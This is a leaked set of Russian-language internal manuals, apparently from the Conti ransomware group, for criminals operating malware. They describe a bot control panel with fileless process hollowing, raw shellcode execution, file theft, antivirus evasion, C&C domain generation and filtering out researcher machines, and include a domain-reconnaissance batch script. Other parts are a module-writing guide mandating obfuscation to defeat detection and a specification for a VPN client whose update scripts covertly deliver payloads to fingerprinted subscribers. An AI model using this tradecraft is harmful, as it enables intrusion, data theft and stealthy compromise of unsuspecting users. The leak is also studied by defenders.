Вследствие этого, время его жизни ограничено временем жизни прокладок (обратных прокси, защищающих C&C-сервера).
Как правило это недели, иногда месяцы, в наихудшем случае - сутки.
На случай отмирания прокладок есть процедура холодного старта, при которой бот использует алгоритм DGA (генерацию доменных имен) для поиска адресов C&C.
В случае необходимости поднять отмерших из-за прокладок ботов об этом следует уведомить администраторов системы, для регистрации резервных доменов.
Предусмотрена функция обновления бота, для:
- замены списка прокладок в боте;
- чистки от детектов АВ.
Для обновления нужно:
- заказать у кодера комплект бинарников с измененной версией
- дать команду обновления "Force update now" на нужных ботах, указав при этом новый бинарник лоадера
Выбирайте правильно параметр timeout при выполнении команд/запуске файлов.
Если вы подымаете сессию другого фреймворка, сгружаете бота, одним словом - запускаете процесс, который будет работать долго (вечно), выбирайте значение "Background run".
При выборе любого другого таймаута, ваша команда должна успеть завершиться до его истечения.
В противном случае команда будет завершена ботом принудительно - для вас же это будет выглядеть "я запускаю сессию, она работает 5 минут и рвется",
или "я сгрузил другого бота, он отработал 5 минут и его прибили".
В случае если ваша нагрузка не запускается, но бот выживает, делайте анализ причин.
Проверяйте реакцию АВ, читайте логи.
Лог Windows Defender можно прочесть так (powershell):
Get-WinEvent -LogName "Microsoft-Windows-Windows Defender/Operational" |
Where-Object {
$_.TimeCreated -ge '2021-01-01 00:00:00' -and
$_.Id -in 1006,1015,1116,1117 }
****************
ПАНЕЛЬ ОПЕРАТОРА
****************
Вход через тор-домен.
В меню присутствует 4 реестра ботов:
- Bots - важные боты (истинные)
- Unimportant - истинные боты, не имеющие особой ценности (Workgroups и т.п.)
- Honeypots - ханипоты, облачные АВ, машины исследователей
- Test Bots - боты, на которых происходит тестирование
Справа есть иконка |> - это переход к информации к карточке бота.
В реестрах ботов имеется механизм группового выполнения команд и переноса ботов между реестрами.
На странице бота есть секции:
- билдер команд
- инфа о боте
- история команд
ВЫПОЛНЕНИЕ КОМАНД
Бот вертится в цикле ожидания команды.
Между запросами на сервер "дай команду" есть интервал.
По умолчанию используется случайный интервал от 30 секунд до 2 минут - когда команд от оператора нету - это спящий режим.
После ввода команды оператором, бот выходит из спящего режима.
Максимальный интервал запросов при этом равен значению таймаута в билдере команд для выбранной команды.
Следует понимать, результат выполнения команды может прийти раньше, чем истечет таймаут команды - и тогда фактическое время реакции бота будет меньше.
Это сделано для того, чтобы неактивные боты поменьше светились в сетевом трафике. Цена за это - иногда надо подождать.
Еще раз, по-простому:
- пока команд нету, то мы вертимся в 5м-минутном цикле запроса команды;
- когда команды есть, то скорость отстука зависит от таймаута в прошлой команде.
Большинство команд блокирующие: то есть, нельзя выполнить следующую команду, не дождавшись ответа от предыдущей.
На случай если вдруг бот подвис, а ответа так и не было, есть возможность сброса команды - Reset (см.ниже).
Далее подробнее о настройках команд.
NO OPERATION
Это способ изменить интервал запроса команд, на указанную величину времени. При этом бот выбирает случайный интервал до очередного отсука в диапазоне от одинарного до двойного таймаута, указанного в команде.
Также это способ пингануть бота.
Больше ничего не делает.
SYSTEM INFO
Получает информацию о системе и отправляет на сервер.
По умолчанию, бот этого не делает при попадании в систему, дабы не светиться
(запросы такой инфы могут быть триггерами по поведению).
Состав и формат информации о системе задан жестко на уровне бота.
SYSINFO.BAT
Также получает информацию о системе. В отличии от команды "System Info", данные получаются с помощью внешнего bat-скрипта. Состав и формат такой информации определяется с учетом предпочтений оператора.
Текст скрипта приведен в приложении.
RUN .EXE
Запуск .exe-файла на выполнение.
Загружаем файл через админку (или выбираем из истории ранее загруженый).
Далее нюансы:
* для успеха запуска, файл должен быть статически слинкован (ну то есть не должен тащить за собой ворох .dll)
для большинства хакерских инструментов это так и есть
* выбираем тип запуска:
- Process Hollowing - безфайловый запуск №1 (предпочтительный вариант, выбираем когда не знаем что делаем)
- Process Doppelganging - безфайловый запуск №2 (в последних версиях Windows 10 не работает)
- CreateProcess - запуск со сбросом запускаемого файла на диск. Использовать, когда больше никак, или это безопасно (нет АВ итд)
Файл естественно подчищается после выполнения
Для бесфайлового запуска, ЗАПУСКАЕМЫЙ ФАЙЛ ДОЛЖЕН БЫТЬ ТОЙ ЖЕ РАЗРЯДНОСТИ, что и сам бот (или как разрядность целевой ОС для режима, когда используется автоматическая прогрузка нужной разрядности).
В будущих версиях это ограничение будет снято.
* timeout
- background run - запуск команды в фоне и немедленный переход к ожиданию следующей команды.
Так запускаем фоновые сервисы, демоны итд итп.
Вывод команды при этом не регистрируется, ее судьбой бот не интересуется.
- остальные значения таймаута - если за это время команда не завершится, фиксируем ошибку и переходим к запросу следующей команды.
До завершения команды, другие команды не принимаем (кроме Reset).
Здесь и далее, для всех команд интерактивного запуска, вывод команды регистрируется (stdout и stderr).
Если команда завершена по таймауту, то
- процесс завершится принудительно и помечен как terminated
- вывод процесса (stdout/stderr) будет передан в админку по принципу "сколько успели".
Все файлы отслеживаемых процессов удаляются после завершения процесса (штатно или по таймауту).
Для неотслеживаемых процессов (background run) файлы не трогаются.
* Host Process
Для бесфайлового запуска (Process Hollowing/Process Doppelganging) нужно выбрать процесс-зомби, под видом которого мы будем работать.
Выбирать процесс надо так, чтобы для консольных приложений хост-процесс также был консольным (cmd.exe),
для оконных же (собранных с ключом /SUBSYSTEM Windows) это безразлично (такого ограничения нет).
Для запуска CreateProcess это поле неактуально.
* Select/Upload execution file
Тут все понятно. Загруженные файлы сохраняются в истории.
* Script params/PID/File name
Командная строка.
RUN .DLL
Запуск функции из выбранной .dll с помощью утилиты rundll32.exe.
Все параметры как у Run .exe; в поле "Script params/PID/File name" вводим имя и аргументы выполняемой из .dll функции.
Ну например, если ввести
Start 1 2 3 4
то выполнится имеющаяся в .dll функция Start() и ей будут переданы параметры 1, 2, 3, 4
Функция должна быть оформлена как
void CALLBACK NameFuction(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow);
Из википедии:
Типичные источники ошибок
Предполагается, что функция, вызываемая Rundll32.exe, имеет следующую сигнатуру[6]:
void CALLBACK NameFuction(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow);
Этим, однако, нередко пренебрегают[7] (подобные примеры на этой странице).
Это часто приводит к повреждению стека[8] и к непредсказуемому поведению, например, зацикливанию.
RUN .BAT
Все параметры как описано раньше, кроме;
* Run Type
- Run From Memory - запуск бесфайловый (из памяти)
- Dump And Run - запуск со сбросом скрипта на диск и удалением после выполнения
* Script params/PID/File name - можно залить скрипт в виде файла
или
* Script - можно набить скрипт руками (поле ресайзится, захват мышью справа внизу)
При запуске из памяти, каждая строка скрипта обязана заканчиваться \r\n.
При запуске с диска, это некритично.
RUN POWERSHELL
Все как в Run .bat
Скрипт запускается так:
powershell -executionpolicy bypass -file tmpscript.ps1 %cmdline%
RESET
Предназначено для сброса зависшей команды.
Говорим боту об отмене предыдущей команды, если она была.
FORCE UPDATE NOW
Обновление загрузчика.
В команде выбираем новый файл - бот скачивает и дропает его на диск вместо старого файла загрузчика, затем запускает.
RUN SHELL CODE
Выполнение заданного shell-кода в рамках текущего процесса.
ЗАПУСКАТЬ С ПРЕДЕЛЬНОЙ ОСТОРОЖНОСТЬЮ!
Shell-код задается в 16-ричном представлении, в любом из возможных форматов, т.е.:
aa bb cc dd ee ff ..
aa bbcc dd eeff ..
aabbccddeeff ..
\xAA, \xBB, \xCC, \xDD, ..
Регистр символов не учитывается.
Shell-код НИКАК НЕ ПРОВЕРЯЕТСЯ ПЕРЕД ЗАПУСКОМ!
Вероятность обрушить бота - высокая!
Это крайнее средство. Вы должны быть уверены в том, что вы делаете.
Рекомендуется сначала протестировать на тестовом боте.
TERMINATE PROCESS
Убить произвольный процесс (если хватит прав).
В Script params/PID/File name вводим PID процесса.
ANCHOR
Дать команду боту "закрепиться в системе". Применяется для сборок с ручным режимом закрепления.
При необходимости можно использовать ручной режим для закрепления вместо автоматического, при этом закреплять в системе только нужных ботов.
DOWNLOAD FILE
Запрос на скачивание произвольного файла с диска.
В поле Script params/PID/File name вводим ПОЛНЫЙ ПУТЬ к файлу.
Ограничение по размеру - 10М (пока что).
Нужно для скрытности в основном, а также потому, что это требует существенных ресурсов жесткого диска на сервере.
SUICIDE
Удаляет загрузчик и все следы деятельности с диска.
Сам бот на диск не сохраняется ни в каком виде.
DASHBOARD
На dashboard отображается статистика по ботам, с разбивкой по группам и разделам (реестрам) ботов.
ГРУППЫ
Группы нужны для разделения ботнетов разных клиентов, а также для логической организации ботов.
Группа прошивается в боте и не может быть изменена ни при каких условиях.
Группа фиксируется в БД при первом отстуке бота и далее привязывается к идентификатору бота.
ПРОФИЛИ ТРАФИКА БОТА
Для усложнения детектирования бота по его трафику есть возможность изменять вид HTTP-запросов для связи с C&C:
- добавлять ложные Cookie для внесения уникальности в запросы
- менять суффиксы URI для обмена с C&C
- задавать ключи шифрования RSA, которыми шифруется обмен.
Профили меняются в разрезе группы.
АВТОЗАГРУЗКА КОМАНД
Можно автоматизировать обработку новых ботов - сформировать последовательность команд, которая будет добавляться в очередь команд впервые отстучавшим ботам.
Для этого реализован функционал "пакеты автозагрузки". Группы можно разбить по способу обработки поступающих ботов, для каждой задать разную последовательность команд.
КЛОАКИНГ
Имеется возможность автоматической фильтрации ботов по странам и/или диапазонам адресов в разрезе групп.
На основе правил фильтрации определяем нужные боты, остальные будут автоматически попадать в раздел Honeypots.
ГОСТЕВОЙ ДОСТУП
Можно разграничить доступ для пен-тестеров: они смогут видеть не всех ботов группы, а только тех, с которыми им нужно работать.
Для этого имеется возможность создания гостевых учетных записей.
Данные учетные записи имеют доступ к определенным ботам, которые назначаются вручную оператором.
МАССОВОЕ ВЫПОЛНЕНИЕ КОМАНД
Имеется механизм группового выполнения действий для нескольких ботов одновременно:
Нескольким выделенным в реестре ботам можно дать одинаковую команду или перенести их в другой реестр.
Тем самым сокращается количество требуемых ручных действий при выполнении однотипных команд.
ОТЧЕТЫ
VALUE REPORT
Сводка по полезным ботам, используется для оценки деятельности по выбранным группам и датам.
Есть выгрузка в текстовый формат.
ПРИЛОЖЕНИЕ
РЕКОМЕНДУЕМЫЙ СКРИПТ ДЛЯ КОМАНДЫ SYSINFO.BAT
@echo off
echo General Info:
systeminfo
echo.
echo My Username:
whoami
echo.
echo Network Neighbourghoud:
net view /all
echo.
echo Domain Neighbourghoud:
net view /all /domain
echo.
echo Domain Trust:
nltest /domain_trusts /all_trusts
echo.
echo Installed Programs:
reg query hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /v "DisplayName" /s
echo.
echo Installed Programs (wow64):
reg query hklm\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall /v "DisplayName" /s
echo.
echo Installed Programs (current user):
reg query hkcu\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /v "DisplayName" /s
echo.
echo Installed Programs (current user, wow64):
reg query hkcu\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall /v "DisplayName" /s
echo.
echo Process List:
tasklist

258
Conti Documentation Leak/docs/modules/module_HOWTO.txt

@ -0,0 +1,258 @@
ПРАВИЛА РАЗРАБОТКИ МОДУЛЕЙ
Модуль представляет из себя DLL, которая будет работать в левом произвольном процессе.
На 64 битной системе будет 64-битный модуль, а на 32 битной системе 32-битный модуль.
Модуль – это не просто программа на С++. У модуля есть некоторые ограничения в связи с контекстом, в котором он работает:
1. Нужно минимизировать использование Visual C++ Runtime. Функции malloc, memcpy, str* - следует избегать. В WinAPI уже есть все необходимое – вместо malloc – HeapAlloc, вместо memcpy – CopyMemory, вместо strstr – StrStr (shlwapi.h/.lib).
1.1. STL в общем случае следует избегать. ТОЧНО не работает std::mutex. Остальное - на ваш страх и риск!
1.2. Некоторые фичи STL дают дополнительный пролог к коду. Для std::mutex он весит 200к. Его не видно в вашем коде, а он есть, и будет вести себя странно в контексте выполнения!
1.3. Несоблюдение пунктов 1 и 1.1 может быть причиной ОЧЕНЬ странного поведения.
2. Линковка рантайма и сторонних библиотек к модулю должна быть статической (флаг /MT).
3. Если используются сторонние библиотеки, они должны позволять заменять функции управления памятью malloc/realloc/free (вместо них вы туда подсунете свои обертки над VirtualAlloc). Также они и сами должны быть слинкованы статически со всем необходимым (чтобы не было попыток загрузить какую-то dll-ку, которой по умолчанию нету в Windows).
4. Модуль может работать как от имени текущего интерактивного пользователя, так и от имени локальной системы (nt authority\SYSTEM), как НЕИНТЕРАКТИВНЫЙ процесс (как служба). По поводу неинтерактивности, гуглите Session 0 isolation/Services isolation in session 0.
5. Код модуля не должен пытаться получить путь к самому себе, ибо в реальных условиях он будет запускаться в памяти без сохранения на диск.
Разработчик обязан это учитывать, и обеспечить работу модуля во всех режимах. Игнорирование или незнание этих пунктов обычно являются причиной того, что у вас локально модуль работает, а в production – нет.
Также, есть дополнительные требования, связанные с безопасностью:
1. Запрещено использование временных файлов. По умолчанию запрещена запись в любые файлы и реестр. Каждый случай такой записи должен оговариваться.
2. Модуль по возможности не должен обладать состоянием (т.е., чтобы ему не нужно было сохранять что-либо в реестр/файл при остановке, и потом читать оттуда при запуске).
3. Если модуль работает в нескольких процессах, наилучший способ коммуникации между ними (по убыванию – помним что временные файлы запрещены):
a. Прямое чтение/запись памяти (ReadProcessMemory/WriteProcessMemory)
b. Named pipes
ОФОРМЛЕНИЕ МОДУЛЯ
1. Должен иметься проект Microsoft Visual Studio версии не ниже 2015.
2. Проект Visual Studio должен быть настроен следующим образом:
* Для ВСЕХ профилей сборки:
- выходной каталог: $(SolutionDir)Bin\$(PlatformTarget)\$(Configuration)\
- Промежуточный каталог: $(SolutionDir)\obj\$(Platform)\$(Configuration)\$(ProjectName)\
- Многопроцессорная компиляция: да
* Профиль Release:
- Формат отладочной информации (С/С++ создание кода): нет
- Создавать отладочную информацию (компоновщик/отладка): нет
3. Строки обфусцировать библиотекой Andrivet (приложена, см.макрос _STR())
4. Системные вызовы обфусцировать библиотекой GetApi.h. Быть внимательным, обфускация сисвызовов может давать падения.
5. Модуль должен иметь две версии - x32- и x64-разрядную.
6. В боевой сборке должны быть обфусцированы по максимуму строки, отключен всяческий отладочный вывод.
7. Модуль должен иметь отладочную версию. Отладочный вывод должен выводиться в c:/temp/modulename.log (путь к логу настраивается в макросе).
Каждая запись лога должна содержать временнУю метку с точностью до секунды.
8. В проекте должен быть файл настроек config.h (название неважно, важна суть - здесь все глобальные настройки - пути, макросы-переключатели условной компиляции итд).
9. Модуль должен работать на всех современных версиях Windows.
Минимальная поддерживаемая версия Windows - Windows XP (если невозможно - Windows Vista).
10. Дополнительно к компоновке должен добавляться файл notelemetry.obj (https://stackoverflow.com/questions/37761768/how-to-prevent-visual-studio-2015-update-2-to-add-telemetry-main-invoke-trigger)
НАИМЕНОВАНИЕ СБОРОК
В сборке должна быть структура каталогов:
modulename/Release_logged/x86
modulename/Release_logged/x64
modulename/Release_nologs/x86
modulename/Release_nologs/x64
В Release_logged идет версия с логом и без обфускации (но это все равно профиль сборки Release!
т.е. там должны быть включены все оптимизации, выключены отладочные символы итд).
В release_nologs - версия без лога, с полной обфускацией.
В имени каталога со сборкой должно быть имя модуля и дата (например cookies.22.04.2019).
Если на указанную дату есть несколько сборок одного модуля, должен добавляться уникальный суффикс (например cookies.22.04.2019.2)
Это нужно для нормальной эксплуатации модуля - чтобы тестировщики и администраторы отличали версии сборок,
чтобы был возможно откат или апгрейд, а также для выдачи нужной сборки по её дате.
ТЕСТИРОВАНИЕ МОДУЛЯ
Тестировать модуль следует в следующих режимах:
1. На ОС Windows 7, 8.1, 10 как 32-, так и 64-й разрядности. В ОС НЕ должны быть установлены программы, ставящие пакеты MSVC++ runtime library (т.е., ставим голую ОС и по минимуму что нужно для тестирования).
2. От имени интерактивного юзера (того, под кем вы вошли)
3. От имени НЕ администратора
4. От имени Системы (качаем пакет pstools, запускаем модуль так:
psexec –d –s runmodule.exe
это запуск модуля как неинтерактивный юзер SYSTEM
Только после прохождения внутренних тестов можно передавать модуль тестировщику.
ВЗАИМОДЕЙСТВИЕ С ВЫШЕСТОЯЩЕЙ ЛОГИКОЙ
Модуль получает необходимую информацию от вышестоящей логики. Идентификатор клиента ClientID, тэг группы group, внешний IP-адрес будут переданы через функцию Start в параметре ParentInfo
Конфиги модуль получает через функцию Control (если конфигов несколько, каждому из них соответствует свое значение параметра CtlArg).
Тело конфигов и их длина будут переданы через параметры CtlArg и CtlArgLen. остальные параметры не используются.
Для автономных тестов, следует запилить демо-запускатор, который будет грузить скомпиленный модуль через loadLIbrary. Псевдокод очень примерно такой:
main() {
LoadLibrary(“module.dll”);
Start = GetProcAddress(module, “Start”);
Handle = Start(…);
If(!handle) return 1;
Control(“config”, “config body”);
While(true) sleep(1000);
Release(handle);
}
Таким образом, следущая схема:
1. демо-запускатор грузит к себе модуль (DLL) и вызывает функции start и control чтобы передать в неё конфиги, внешний ip-адрес, clientid и group.
2. код внутри модуля, который делает полезную работу.
Поток выполнения следующий:
* Функция Start() инициализирует работу, запускает основной рабочий поток в фоне, и возвращает дескриптор модуля (обычно, адрес функции Start)
* Основной поток может дождаться, пока не прилетят необходимые вызовы Control() с конфигами, и только потом начать работу.
Это зависит от назначения самого модуля - может и не требоваться ожидание.
* Вызовы Control() обычно используются, чтобы передать в модуль конфиги, либо управляющие воздействия (смена режимов работы).
Эти вызовы должны обрабатываться как прерывания. Эти вызовы происходят в отдельном потоке, потому следует обеспечить потокобезопасность для всего,
что разделяется с основным потоком выполнения.
API МОДУЛЯ
Модуль экспортирует следующие функции: Start, Control, Release, FreeBuffer [*1]
Все функции имеют конвенцию вызова stdcall и экспортируются по именам.
Функция Start имеет следующий прототип:
PVOID Start(
LPCSTR ModuleName,
LPCBYTE Arg,
SIZE_T ArgLen,
LPSTR ResultInfo,
const ParentInfo* pParentData,
PVOID EventCallback,
PVOID EventCallbackContext,
PVOID Reserved1);
Функция вызывается при запуске модуля вышестоящей логикой.
ModuleName - имя модуля
Arg - аргумент команды start
ArgLen - размер параметр CtlArg в байтах
ResultInfo -буфер для результирующей строки ctl. Буфер имеет фиксированную длину 1024 байта
pParentData - информация о вышестоящей логике, управляется конфигом модуля
EventCallback – указатель на функцию логирования (см.ниже)
EventCallbackContext – контекст логирования (см.ниже)
Функция в случае удачи возвращает описатель, который необходимо использовать при вызове функций Control и Release (можно передавать адрес самой функции Start – он достаточно уникален в пределах ОС). В случае неудачи функция возвращает ноль.
typedef struct ParentInfo {
CHAR ParentID[256];
CHAR ParentGroup[64];
CHAR SelfIP[64];
LPCWSTR ParentFiles;
} ;
ParentID - полный ID клиента вышестоящей логики
ParentGroup - группирующий тег вышестоящей логики
SelfIP - внешний IP-адрес
ParentFiles - не используется
6.2 Функция Control имеет следующий прототип
BOOL Control (
PVOID ModuleHandle,
LPCSTR Ctl,
LPCBYTE CtlArg,
SIZE_T CtlArgLen,
LPSTR CtlResultInfo,
PVOID* ppOutData,
PDWORD pOutDataSize,
LPCSTR pOutDataTag,
PVOID Reserved1);
ModuleHandle - описатель модуля, которое вернула функция Start.
Ctl - строка содержащая описание управляющего сигнала к модулю
CtlArg - аргумент ctl к модулю (тело сигнала)
CtlArgLen - размер параметра CtlArg в байтах
ResultInfo -буфер для результирующей строки ctl. Буфер имеет фиксированную длину 1024 байта
ppOutData - указатель на переменную в которую будет сохранён указатель на буфер с выходными данными ctl (ctl_OutData)
pOutDataSize - указатель на переменную в которую будет сохранён размер данных в буфере с выходными данными ctl
pOutDataTag - буфер для вспомогательного тега, который будет отправлен на сервер. Буфер имеет фиксированную длину 128 байт
Функция в случае удачи возвращает TRUE, в противном случае функция возвращает FALSE. В случае успеха если значение *ppOutData после вызова не равно нулю, то этот буфер должен быть освобождён через функцию FreeBuffer.
ОБЫЧНОЕ назначение этой функции – передача конфига модулю.
Функция Release имеет следующий прототип
VOID Release (
PVOID ModuleHandle);
Функция реализует полное завершение работы модуля. В её задачи входит удаление всех ресурсов используемых в ходе работы модуля.
Функция FreeBuffer имеет следующий прототип
VOID FreeBuffer (
PVOID pMemory);
Функция освобождает буфер выделенный внутри функции Control (параметр ppOutData).
* Изменения именования функций в экспорте
1) старый вариант, продолжает работать, но антивирусы часто палят модуль по этим функциям
2) Модуль экспортирует любые минимум 4 функции по именам, имена функции сообщаются администратору в виде
CheckFuncStr=Start, GetLength=Control, SetHeigth=Release, Reload=FreeBuffer.
Функции можно изменить при чистке, но опять же нужно будет сообщить об этом администратору.
3) Модуль экспортирует функции по ординалу, или по имени, но обязательно в следующем порядке: 1.Start, 2.Control, 3.FreeBuffer 4.Release
Пример def файла для экспорта по ординалам
EXPORTS
@1 = Start_
@2 = Control_
@3 = FreeBuffer_
@4 = Release_
Пример def файла для экспорта по именам:
CheckFuncStr = Start_
GetLength = Control_
Reload = FreeBuffer_
SetHeigth = Release_
ПРАВИЛА ЛОГИРОВАНИЯ СОБЫТИЙ В АДМИНКУ
Два предпоследних параметра функции Start предназначены для логирования событий в админку.
EventCallback - это указатель на функцию, определенную как:
typedef VOID (__stdcall *pEventCallback)(
PVOID ModuleHandle,
LPCSTR EventName,
LPCSTR EventInfo,
PVOID pOutData,
DWORD OutDataSize,
LPCSTR pOutDataTag,
PVOID Context);
где:
ModuleHandle - дескриптор модуля (обычно это указатель на функцию Start)
EventName - тип события
EventInfo - содержимое события
pOutData - дополнительные данные события
OutDataSize - длина доп.данных
pOutDataTag - тэг события
Context - передаем сюда EventCallbackContext, полученный в Start
Определяем у себя в коде функцию наподобие
void SendEvent(char* name, char* value) {
pEventCallback callback = (pEventCallback)EvCallback;
if (callback) {
debug_printf("SendEvent(%s, %s)\r\n", name, value);
callback(Start, name, value, NULL, 0, tag, EvCallbackContext);
}
}
где
tag - тег события (нужен для фильтрации в логах; обычно это имя модуля. Ну например, "module1")
name - источник события (множество событий можно сгруппировать по их источнику - подсистеме в коде, где они сгенерированы. Ну например, "sql")
value - содержание события (произвольная строка. Ну например, "module1 build 01 Jan, 20xx 11:22:25 started ok")
Источник события разработчик определяет сам.
Источник должен состоять из 4 символов. К примеру, можно определить типы DEBG для отладки, VERS для передачи собственной версии, PING для передачи heartbeat'а в админку, итд.
Источник, идентифицирующий подсистему твоего модуля, из которого происходит событие. К примеру, в модуле есть подсистема работы с файлами, и подсистема сети - для них используются теги "file" и "net".
Раньше нужно было вешать мютекс на логирование, т.к. в вышестоящей логике не было защиты и проверки, и это было потоконебезопасным. Потом мютекс поставили с той стороны, и все вроде бы работает.
Но - если что - если будут проблемы - смотри в первую очередь в сторону многопоточности, во вторую очередь в конвенцию вызовов (_stdcall).
!!!!!!!!!!!
!!!ВАЖНО!!!
!!!!!!!!!!!
Событий от модуля должно быть мало и они должны быть важными. Недопустимо флудить отладкой.
т.е. ты можешь для отладки расставить в модуле логирование, но потом при выдаче сборки, ты обязан отладочные события убрать.
Отправка события является блокирующей операцией.
Следует понимать, что отправка события родителю не является мгновенной. Родитель получает события путем периодического опроса
через разделяемую память. Поэтому, хотя событие может быть отправлено, оно может быть еще не принято родителем.
Это в особенности касается событий, отправляемых перед завершением процесса - они могут быть потеряны по описанной причине.
Если модуль нерезидентный (единократно отрабатывает и далее отключается), по завершению работы он обязан отправить событие
EventName = WantRelease
EventInfo = NULL
По получению данного события носитель модуля выгрузит его из памяти.
ТИПИЧНЫЕ ОШИБКИ
1) отправление события (сообщения), чаще всего с версией и датой модуля из функции Start.
Этого делать НЕЛЬЗЯ.
Правильно так:
- Start провел начальные проверки, инициализации, запустил основной поток и завершился
- основной поток уже начинает спамить телеметрией в событиях
2) в функцию Start передаются botid, group и ip.
эти строковые значения нужно СКОПИРОВАТЬ в функции Start, потому что при выходе из функции память строк освобождается и строки становятся невалидными.

202
Conti Documentation Leak/docs/modules/ТЗ VPN-клиент и админка.txt

@ -0,0 +1,202 @@
КЛИЕНТ И АДМИНКА VPN
ТЕХНИЧЕСКОЕ ЗАДАНИЕ
ЦЕЛЬ
Разработка клиента VPN под Windows с пользовательским интерфейсом,
функцией автообновления, и панели управления (админки).
КЛИЕНТ
Клиент обладает простым оконным интерфейсом, со следующими
элементами управления:
* список стран - флажки и названия стран, от имени которых
клиент может вести работу.
Получаем со шлюза VPN.
Также рядом с каждой страной указана метаинформация:
наилучшее,наихудшее и среднее значения полосы пропускания и пинга для
шлюзов в данной стране.
* Кнопка Connect/Disconnect.
Машина состояний следующая:
- Disconnected: не соединены.
Список стран и кнопка Connect доступны.
- Connecting: соединяемся
На кнопке надпись Connecting. Кнопка доступна,
но переход возможен только в состояние Disconnected.
Список стран заблокирован (серый цвет, disabled).
- Connected: соединены.
На кнопке надпись Connected. Кнопка доступна,
но переход возможен только в состояние Disconnected.
Список стран заблокирован (серый цвет, disabled).
В состоянии Connected должны отображаться время пинга,
полоса пропускания канала и IP-адрес шлюза.
Клиент является оберткой над OpenVPN, которая умеет принять с управляющего сервера
необходимые настройки для формирования конфига openvpn (или даже готовый конфиг)
и запустить процесс openvpn со стартом соединения.
ИНСТАЛЛЯТОР
У программы должен быть простой инсталлятор на NSIS.
Инсталлятор должен уметь:
- проверить наличие программы в системе
- работать в режиме обновления, если программа установлена.
При этом, нужно останавливать процесс перед обновлением.
В самом клиенте должна быть функция проверки обновлений.
Также, должна быть служба автоматической проверки обновлений (сервис Windows).
В инсталляторе должно быть предусмотрены точки расширения, для запуска произвольных
.exe и скриптов командной строки.
К примеру, могут быть скрипты
pre_update.bat
post_update_success.bat
post_update_error.bat
которые выполняются до и после процесса установки (в случае успеха и неудачи, соответственно).
Скрипты должны присутствовать и запускаться даже в том случае, если их содержимое пусто.
НАСТРОЙКИ КЛИЕНТА
- адрес управляющего сервера (задается при инсталляции, в дальнейшем
может корректироваться автообновлениями)
- логин (выдаются при покупке подписки)
- пароль
HTTP API
Клиент соединяется с управляющим сервером (его адрес является одной из настроек
клиента) HTTP-запросом (точнее, HTTPS - весь обмен идет по шифрованому каналу)
По всей видимости, в варианте реализации с использованием нашего готового VPN-моста,
данное API и будет объединено с API самого VPN-моста.
POST /api/login HTTP/1.1
тело запроса - два поля в упаковке application/x-www-form-urlencoded
login
password
с соответствующими значениями
Код ответа 200 - успех; все остальные коды расцениваются как ошибка.
При получении ошибки в ответе HTTP дальнейшая работа невозможна.
В теле HTTP-ответа лежит идентификатор сессии; все дальнейшие запросы
требуют его указания в пути uri. По идентификатору сессии сервер распознает
кто мы такие.
GET /api/<session_id>/countries HTTP/1.1
Отдает список доступных для соединения стран в формате:
country_code|ping_min|ping_max|bandwidth_min|bandwidth_max\r\n
country_code - двухбуквенный международный код страны
ping_min - минимальный пинг
ping_max - максимальный пинг
bandwidth_min - минимальная полоса
bandwidth_max - максимальная полоса
Все значения кроме страны отображаются в интерфейсе как есть.
Страна отображается флагом и полным названием.
GET /api/<session_id>/config/<country_code>
Отдает готовый конфиг для openvpn в пригодном для использования виде.
Соединение выбирается с минимальным числом пользователей, случайным образом, для выбранной страны.
На стороне моста, мост должен увеличить счетчик пользователей для выбранного соединения.
DELETE /api/<session_id>/config
Мост уменьшает на единицу число пользователей для последнего соединения, выданного в рамках указанной сессии.
Соединение закрывается.
Данную команду клиент отправляет при закрытии VPN-соединения.
Мост должен обрабатывать ситуации с зависанием VPN-соединений, форсируя их завершение и корректируя
признак использования (число активных пользователей) на данном соединении.
УПРАВЛЕНИЕ ПОДПИСКОЙ И АДМИНКА
Для управления подпиской нужен сайт, где есть:
- тарифные планы
- покупка тарифного плана
По оплате, пока нету конкретики.
Пускай будет к примеру оплата через bitcoin.
По успешному завершению оплаты, система должна добавить подписчика в БД,
сгенерировать ему login/password и отправить по почте/выдать на страничке.
При покупке тарифного плана пользователь получает логин-пароль, необходимые для работы VPN-клиента.
Также, нужен сбор максимальной информации о пользователе минимально навязчивыми средствами:
- IP-адрес (нужно сохранить два значения: из переменной $REMOTE_ADDR, и полученное js)
- имя
- email
- версия ОС (эту версию и нижеследующие данные можно вытащить продвинутыми js, в сети есть примеры - подобие фингерпринтинга)
- броузер
- имя компьютера (есть проблемы с получением через js)
- имя пользователя (тоже)
Вообще лучше нашинковать побольше полей с контактной инфой, и сделать их все необязательными (кроме email).
С выданным системой логином, подписчик может заходить в личный кабинет.
Основное назначение ЛК - там есть форма оплаты :) для продления подписки.
Туда же можно тиснуть всякие допы вроде статистики использования итд итп.
АДМИНКА
В админке должны быть следующие разделы:
* список подписчиков, с возможностью посмотреть детальную инфу по ним
+ add
Список:
- имя
- last activity
- IP Address
- expiration date (срок окончания подписки)
- edit (кнопка)
- block (кнопка)
При открытии на редактирование, можно увидеть все расширенные сведения, которые удалось собрать
при регистрации юзера.
Кнопка block - только блокирует пользователя (ставит текущее время окончания подписки).
Запись НЕ УДАЛЯЕТСЯ!
* список VPN-сессий
- Source IP Address
- VPN endpoint IP address
- started
- last activity
- disconnect
АВТООБНОВЛЕНИЯ
Есть соблазн добавить в админке для каждого подписчика кнопочку "обновить софт" :)
НО!
Запуск обновлений персонально для какого-либо клиента или группы клиентов - достаточно заметное действие,
которое с высокой вероятностью заблокирует АВ и привлечет внимание.
Рекомендуется сторонний код выполнять массово, для всех клиентов.
Т.е., выпускается следующая версия программы, и на неё обновляются все.
Выполнение кода делается в инсталляторе, точками расширения (те самые скрипты
pre_update.bat
post_update_success.bat
post_update_error.bat
которые всегда пусты - но в нужный момент в них появится код)
Если же нужно исключить кого-то из обновлений, и выполнить нагрузку точечно у конкретного клиента,
то отсечение мы выполняем непосредственно в нагрузке.
У нас есть данные о клиенте - его адрес, версия ОС - собранные при его регистрации при подписке.
Этого должно быть достаточно, чтобы поставить в нагрузке условие "если адрес не вот этот, завершаемся и ничего не делаем".
Инсталляторы на движке NSIS (как и инсталляторы вообще) - как правило сразу же получают кучу детектов
на virustotal, даже если они совершенно безобидны. Так исторически сложилось - и на страничке NSIS
есть официальная заметка и разъяснение на этот счет
